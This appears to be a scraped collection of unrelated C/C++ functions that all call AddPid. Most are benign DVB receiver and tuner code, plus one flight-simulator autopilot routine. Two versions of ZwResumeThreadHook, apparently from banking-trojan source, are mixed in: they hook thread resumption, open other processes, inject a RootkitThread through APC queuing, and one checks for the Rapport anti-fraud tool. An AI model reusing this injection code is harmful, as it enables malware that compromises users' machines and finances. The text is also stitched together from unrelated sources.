bool cDvbDevice::SetChannelDevice(const cChannel *Channel, bool LiveView) { bool DoTune = !dvbTuner->IsTunedTo(Channel); bool TurnOffLivePIDs = HasDecoder() && (DoTune || !IsPrimaryDevice() || LiveView // for a new live view the old PIDs need to be turned off || pidHandles[ptVideo].pid == Channel->Vpid() // for recording the PIDs must be shifted from DMX_PES_AUDIO/VIDEO to DMX_PES_OTHER ); bool StartTransferMode = IsPrimaryDevice() && !DoTune && (LiveView && HasPid(Channel->Vpid() ? Channel->Vpid() : Channel->Apid(0)) && (pidHandles[ptVideo].pid != Channel->Vpid() || (pidHandles[ptAudio].pid != Channel->Apid(0) && (Channel->Dpid(0) ? pidHandles[ptAudio].pid != Channel->Dpid(0) : true)))// the PID is already set as DMX_PES_OTHER || !LiveView && (pidHandles[ptVideo].pid == Channel->Vpid() || pidHandles[ptAudio].pid == Channel->Apid(0)) // a recording is going to shift the PIDs from DMX_PES_AUDIO/VIDEO to DMX_PES_OTHER ); bool TurnOnLivePIDs = HasDecoder() && !StartTransferMode && LiveView; #ifndef DO_MULTIPLE_RECORDINGS TurnOffLivePIDs = TurnOnLivePIDs = true; StartTransferMode = false; #endif // Turn off live PIDs if necessary: if (TurnOffLivePIDs) TurnOffLiveMode(LiveView); // Set the tuner: dvbTuner->Set(Channel, DoTune); // If this channel switch was requested by the EITScanner we don't wait for // a lock and don't set any live PIDs (the EITScanner will wait for the lock // by itself before setting any filters): if (EITScanner.UsesDevice(this)) //XXX return true; // PID settings: if (TurnOnLivePIDs) { SetAudioBypass(false); if (!(AddPid(Channel->Ppid(), ptPcr) && AddPid(Channel->Vpid(), ptVideo) && AddPid(Channel->Apid(0), ptAudio))) { esyslog("ERROR: failed to set PIDs for channel %d on device %d", Channel->Number(), CardIndex() + 1); return false; } if (IsPrimaryDevice()) AddPid(Channel->Tpid(), ptTeletext); CHECK(ioctl(fd_audio, AUDIO_SET_MUTE, true)); // actually one would expect 'false' here, but according to Marco Schlüßler <*****@*****.**> this works // to avoid missing audio after replaying a DVD; with 'false' there is an audio disturbance when switching // between two channels on the same transponder on DVB-S CHECK(ioctl(fd_audio, AUDIO_SET_AV_SYNC, true)); } else if (StartTransferMode) cControl::Launch(new cTransferControl(this, Channel->Vpid(), Channel->Apids(), Channel->Dpids(), Channel->Spids())); return true; }
NTSTATUS WINAPI ZwResumeThreadHook( HANDLE hThread, PULONG PreviousSuspendCount ) { NTSTATUS nt; DWORD dwPid = GetPidByThread( hThread ); DWORD ProcessHash = GetProcessHashOfId(dwPid); BOOL IsAntiRapport = IsRunAntiRapport() & ( (ProcessHash == 0x7712feae) | (ProcessHash == 0x250DFA8F) ); // 0x7712feae / 0x250DFA8F - ХЕШ фф / ИЕ if (IsAntiRapport){ nt = ZwResumeThreadReal( hThread, PreviousSuspendCount ); } if ( dwPid != -1 && dwPid != (DWORD)pGetCurrentProcessId() ) { if ( !FindPid( dwPid ) ) { OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ; CLIENT_ID ClientID; ClientID.UniqueProcess = (HANDLE)dwPid; ClientID.UniqueThread = 0; HANDLE hProcess = NULL; if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) == STATUS_SUCCESS ) { DWORD dwAddr; if( pGetProcessId(hProcess) != pGetCurrentProcessId()) { if (IsAntiRapport){ AddPid( dwPid ); dwAddr = InjectCode4( hProcess, RootkitThread ); }else { dwAddr = InjectCode( hProcess, RootkitThread ); if ( dwAddr != -1 ) { if ( (NTSTATUS)pZwQueueApcThread( hThread, (LPTHREAD_START_ROUTINE)dwAddr, NULL, NULL, NULL ) == STATUS_SUCCESS ) AddPid( dwPid ); } AddPid( dwPid ); }; }; pZwClose( hProcess ); } } } return (IsAntiRapport)? nt : ZwResumeThreadReal( hThread, PreviousSuspendCount ) ; }
bool cReceiver::SetPids(const cChannel *Channel) { numPids = 0; if (Channel) { channelID = Channel->GetChannelID(); return AddPid(Channel->Vpid()) && (Channel->Ppid() == Channel->Vpid() || AddPid(Channel->Ppid())) && AddPids(Channel->Apids()) && AddPids(Channel->Dpids()) && AddPids(Channel->Spids()); } return true; }
bool cDvbHdFfDevice::SetChannelDevice(const cChannel *Channel, bool LiveView) { int apid = Channel->Apid(0); int vpid = Channel->Vpid(); int dpid = Channel->Dpid(0); bool DoTune = !IsTunedToTransponder(Channel); bool pidHandlesVideo = vpid && pidHandles[ptVideo].pid == vpid; bool pidHandlesAudio = apid && pidHandles[ptAudio].pid == apid; bool TurnOffLivePIDs = DoTune || !IsPrimaryDevice() || LiveView // for a new live view the old PIDs need to be turned off || pidHandlesVideo // for recording the PIDs must be shifted from DMX_PES_AUDIO/VIDEO to DMX_PES_OTHER ; bool StartTransferMode = IsPrimaryDevice() && !DoTune && (LiveView && HasPid(vpid ? vpid : apid) && (!pidHandlesVideo || (!pidHandlesAudio && (dpid ? pidHandles[ptAudio].pid != dpid : true)))// the PID is already set as DMX_PES_OTHER || !LiveView && (pidHandlesVideo || pidHandlesAudio) // a recording is going to shift the PIDs from DMX_PES_AUDIO/VIDEO to DMX_PES_OTHER ); if (CamSlot() && !ChannelCamRelations.CamDecrypt(Channel->GetChannelID(), CamSlot()->SlotNumber())) StartTransferMode |= LiveView && IsPrimaryDevice() && Channel->Ca() >= CA_ENCRYPTED_MIN; //printf("SetChannelDevice Transfer %d, Live %d\n", StartTransferMode, LiveView); bool TurnOnLivePIDs = !StartTransferMode && LiveView; // Turn off live PIDs if necessary: if (TurnOffLivePIDs) TurnOffLiveMode(LiveView); // Set the tuner: if (!cDvbDevice::SetChannelDevice(Channel, LiveView)) return false; // PID settings: if (TurnOnLivePIDs) { if (!(AddPid(Channel->Ppid(), ptPcr) && AddPid(vpid, ptVideo, Channel->Vtype()) && AddPid(apid ? apid : dpid, ptAudio, apid ? 0 : Channel->Dtype(0)))) { esyslog("ERROR: failed to set PIDs for channel %d on device %d", Channel->Number(), CardIndex() + 1); return false; } } else if (StartTransferMode) cControl::Launch(new cTransferControl(this, Channel)); return true; }
NTSTATUS WINAPI ZwResumeThreadHook( HANDLE hThread, PULONG PreviousSuspendCount ) { DWORD dwPid = GetPidByThread( hThread ); if ( dwPid != -1 && dwPid != (DWORD)pGetCurrentProcessId() ) { if ( !FindPid( dwPid ) ) { OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ; CLIENT_ID ClientID; ClientID.UniqueProcess = (HANDLE)dwPid; ClientID.UniqueThread = 0; HANDLE hProcess = NULL; if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) == STATUS_SUCCESS ) { DWORD dwAddr = InjectCode( hProcess, RootkitThread ); if ( dwAddr != -1 ) { if ( (NTSTATUS)pZwQueueApcThread(hThread, (LPTHREAD_START_ROUTINE)dwAddr, NULL, NULL, NULL ) == STATUS_SUCCESS ) AddPid( dwPid ); } pZwClose( hProcess ); } } } return ZwResumeThreadReal( hThread, PreviousSuspendCount ); }
bool cReceiver::SetPids(const cChannel *Channel) { numPids = 0; if (Channel) { channelID = Channel->GetChannelID(); return AddPid(Channel->Vpid()) && (Channel->Ppid() == Channel->Vpid() || AddPid(Channel->Ppid())) && AddPids(Channel->Apids()) && AddPids(Channel->Dpids()) && #ifdef USE_TTXTSUBS AddPids(Channel->Spids()) && (!Setup.SupportTeletext || AddPid(Channel->Tpid())); #else AddPids(Channel->Spids()); #endif /* TTXTSUBS */ } return true; }
bool cReceiver::AddPids(const int *Pids) { if (Pids) { while (*Pids) { if (!AddPid(*Pids++)) return false; } } return true; }
//------------------------------------------------------------------------ // Get pid system //------------------------------------------------------------------------ void CFuiProbe::GetPidSubsystems() { std::vector<CPIDbox *>pids; // List of list subsystems AutoPilot *aps = veh->GetAutoPilot(); if (0 == aps) return; aps->GetAllSubsystems(pids); std::vector<CPIDbox*>::iterator si; for (si = pids.begin(); si != pids.end(); si++) AddPid(*si); pids.clear(); return; }
cReceiver::cReceiver(tChannelID ChannelID, int Priority, int Pid, const int *Pids1, const int *Pids2, const int *Pids3) { device = NULL; channelID = ChannelID; priority = Priority; numPids = 0; AddPid(Pid); AddPids(Pids1); AddPids(Pids2); AddPids(Pids3); }
bool cReceiver::AddPids(int Pid1, int Pid2, int Pid3, int Pid4, int Pid5, int Pid6, int Pid7, int Pid8, int Pid9) { return AddPid(Pid1) && AddPid(Pid2) && AddPid(Pid3) && AddPid(Pid4) && AddPid(Pid5) && AddPid(Pid6) && AddPid(Pid7) && AddPid(Pid8) && AddPid(Pid9); }